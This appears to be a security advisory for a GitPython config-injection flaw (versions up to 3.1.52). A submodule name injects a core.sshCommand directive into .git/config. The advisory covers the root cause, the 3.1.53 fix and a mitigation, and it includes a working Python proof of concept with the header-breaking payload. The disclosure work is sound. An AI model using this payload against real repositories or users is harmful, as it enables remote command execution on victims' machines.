GitPython: git-config section-name injection leads to core.sshCommand RCE
GitPython lets an attacker-controlled submodule name break out of a git-config section header and inject arbitrary directives like core.sshCommand, which git executes on the next SSH operation.

The problem
GitPython <= 3.1.52 writes submodule names verbatim into git-config section headers as [submodule "<name>"]. The only safety check, _assure_config_name_safe, blocks CR, LF, and NUL but nothing else.
A name containing "] [core] sshCommand=CMD # closes the intended header bracket and opens a new [core] section on the same line, no newline required. Git parses it as a real directive. The sink is reached via Repo.create_submodule(name=<untrusted>) or via clone_from followed by submodule_update, where the name comes from the cloned repo's .gitmodules.
Proof of concept
A working proof-of-concept for this issue in gitpython, with the exact payload below.
import git, tempfile, os, subprocess
# Craft the malicious submodule name.
# The wrapper in sm_section() produces: submodule "<name>"
# so the closing quote is already there; we just need to close the bracket.
evil_name = 'x"] [core] sshCommand=id #'
tmp = tempfile.mkdtemp()
env = {**os.environ,
"HOME": tmp,
"GIT_CONFIG_GLOBAL": os.path.join(tmp, "gc"),
"GIT_CONFIG_SYSTEM": "/dev/null",
"GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@b.c",
"GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@b.c"}
def run(*a, cwd=None):
return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True)
# Build a bare repo to use as the submodule URL (no network needed).
src = os.path.join(tmp, "src"); os.makedirs(src)
run("git", "init", "-q", src)
open(os.path.join(src, "f"), "w").write("x")
run("git", "add", "f", cwd=src); run("git", "commit", "-qm", "i", cwd=src)
suburl = os.path.join(tmp, "sub.git")
run("git", "clone", "-q", "--bare", src, suburl)
# Create the victim parent repo.
parent = tempfile.mkdtemp(dir=tmp)
run("git", "init", "-q", parent)
open(os.path.join(parent, "r"), "w").write("x")
run("git", "add", "r", cwd=parent); run("git", "commit", "-qm", "i", cwd=parent)
# This single call writes the injected header into .git/config.
git.Repo(parent).create_submodule(name=evil_name, path="sub", url=suburl)
cfg = open(os.path.join(parent, ".git", "config")).read()
print("--- .git/config (injected section) ---")
for line in cfg.splitlines():
if "submodule" in line or "sshCommand" in line:
print(line)
# Verify git sees core.sshCommand.
r = run("git", "config", "-f", os.path.join(parent, ".git", "config"),
"--get", "core.sshCommand")
print("core.sshCommand:", r.stdout.strip())
# On the next `git fetch/pull/push` over SSH git would execute that command.
# Written header looks like:
# [submodule "x"] [core] sshCommand=id #"]
# Git parses [core] sshCommand=id as a real directive; '#"] is an inline comment.The root cause is that _assure_config_name_safe (CWE-74, Injection) only checks for [\r\n\x00]. Section names are serialized as fp.write(("[%s]\n" % name).encode(defenc)) with no escaping of ], [, ", or #. Submodule names pass through sm_section(name) which wraps them as submodule "<name>", so the existing double-quote is already balanced by the attacker's input, allowing a clean header break with no newline.
The patch (PR #2176, commit 1ed1b924) extends the unsafe-character regex to also reject ], [, ", and other header-breaking characters in section and subsection names, making _assure_config_name_safe raise before the malicious name can reach the config writer.
The fix
Upgrade to GitPython 3.1.53. The fix extends UNSAFE_CONFIG_CHARS_RE to reject ], [, ", and related delimiter characters in section/subsection names, so _assure_config_name_safe raises a ValueError before the malicious name reaches the config writer.
If you process untrusted submodule names, validate them independently before passing to Repo.create_submodule or relying on submodule_update with cloned repos.
Reported by Byron (Sebastian Thiel).
Related research
- high · 7.5GitPython: Environment-Variable Exfiltration via Repo.clone_from() URL
- criticalCVE-2026-55615CVE-2026-55615: langroid Neo4jChatAgent Prompt-to-Cypher Injection (RCE)
- high · 8.1CVE-2026-54771CVE-2026-54771: langroid Unauthorized Tool Invocation via User-Supplied JSON
- high · 8.1GitPython Argument Injection via Diffable.diff Enables Arbitrary File Overwrite